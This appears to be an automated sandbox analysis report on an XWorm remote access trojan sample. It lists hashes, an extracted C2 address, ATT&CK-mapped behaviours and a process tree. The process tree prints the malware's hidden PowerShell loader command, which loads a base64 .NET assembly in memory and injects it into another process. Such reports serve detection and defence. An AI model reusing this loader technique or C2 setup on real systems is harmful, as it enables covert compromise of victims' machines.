xworm | 773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89

General

Target
773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89.js
Size 5.1MB
Sample260925-vt6stats3p
SHA256 773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89
MD5 781d4b3cbd56e81f665249134e581adf
SHA1 aefda7dc092eff4247e6c6d43d06a25b2aab0007
SHA512 3a87889a02685c1ecdbcafcf445ae6b52a9ade337c5787b6b0b8929b710d94c16748689a72defae1c30b0e856f1d60fd1dfde29e35591cdae6cdab3383efe992
SSDEEP 384:Moy/d+dmSvyCplEGgOWfvbgD0Wvcix4iIseJVci1NtRiDZoB6LGlUESaE7FZr/ft:eOwuhB
TLSH
T10E464053E689C9EDC481CCFAF05374B47946DF87E1482A9C28DDE02C0F66E536E26C66
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

C2

77.110.114.115:3308

Mutex

gpzOESxZKK2NR3QS

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2356-10-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	2768	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4988	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4988 set thread context of 2356	4988	powershell.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4988	powershell.exe
4988	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	2356	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 2356	4988	powershell.exe	93
PID 4988 wrote to memory of 2356	4988	powershell.exe	93
PID 4988 wrote to memory of 2356	4988	powershell.exe	93
PID 4988 wrote to memory of 2356	4988	powershell.exe	93
PID 4988 wrote to memory of 2356	4988	powershell.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\773ed333303540dab5f274d05964180d43bf9910b3cd32d7d6f0d8d5905f3b89.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$paperbacks=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$Paarl=[IO.MemoryStream][Convert]::FromBase64String($paperbacks);[AppDomain]::CurrentDomain.Load($Paarl.ToArray())|Out-Null;[Win32.RMP.Cls_jkTfUPHdRS]::Met_jkTfUPHdRSwY('Up+ggLFhnalhYaa6ukTb1sqbR0/T+L9/iNYG5HjsASigzMv+c8Q0OXFrFMRZQ28lOfqs6rbFzvOAqtrVMvvABSnc5SCiXwHDlVfLjfCbzNg=','','IkKRN4ES+hlaKnYDCceJyOgZ3NmPViNTnMKhBIiqISAoQD3NE6g/bXOZ+jVeakDB','j1QRgbbkhl14S8yfxns/I390XMWss2PB7paMtU48QaA=','FxaHk9BcD+rx3ylVOmuSBs6k/97x5GpIzyYqpTzH4mI=','','rxN20n4W6XC2GexN0IpkwQo4gxA7INdTDJvgCzwsszw=','','2f4A6fU7sINwKJqXBpLI1B1GXCNw/kHlLunMunM4+qM=','rvCeKyA5QNAusYjDKHyd/OGRdtfM+NQcMWYuLy5uVAU7LKhjnNpbIIgtO/QGGVbA','Rgil9/hzwtGgVhkhERqxeCzpbRcbgnr6MvqBPLCuq6Y=','HaMP3/eddo/EcPFAzWRm0hdMclwVjUWsIEruOSBbEGg=','iTaldw0JDGO/zVCapdz5ctGy86GHEWuH/yLkFWSWrxE=','','MLCPTkDPDQ+5e/o+ibsKPzfXjVDDWxl3EQo42bXApUw=','j6cAOxo7k82DM/bjkxtgY+mQI4dGlWRcD+EOn6lJJD0=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_5ekwy2uo.jo2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ekwy2uo.jo2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2356-10-0x0000000000400000-0x000000000040E000-memory.dmp

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memory/2356-13-0x0000000005C80000-0x0000000005D1C000-memory.dmp

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memory/2356-14-0x0000000005E50000-0x0000000005E60000-memory.dmp

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memory/2356-15-0x0000000005E50000-0x0000000005E60000-memory.dmp

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memory/4988-0-0x000001614DC40000-0x000001614DC50000-memory.dmp

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memory/4988-6-0x000001614DBA0000-0x000001614DBC2000-memory.dmp

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memory/4988-9-0x000001614DB80000-0x000001614DBA2000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads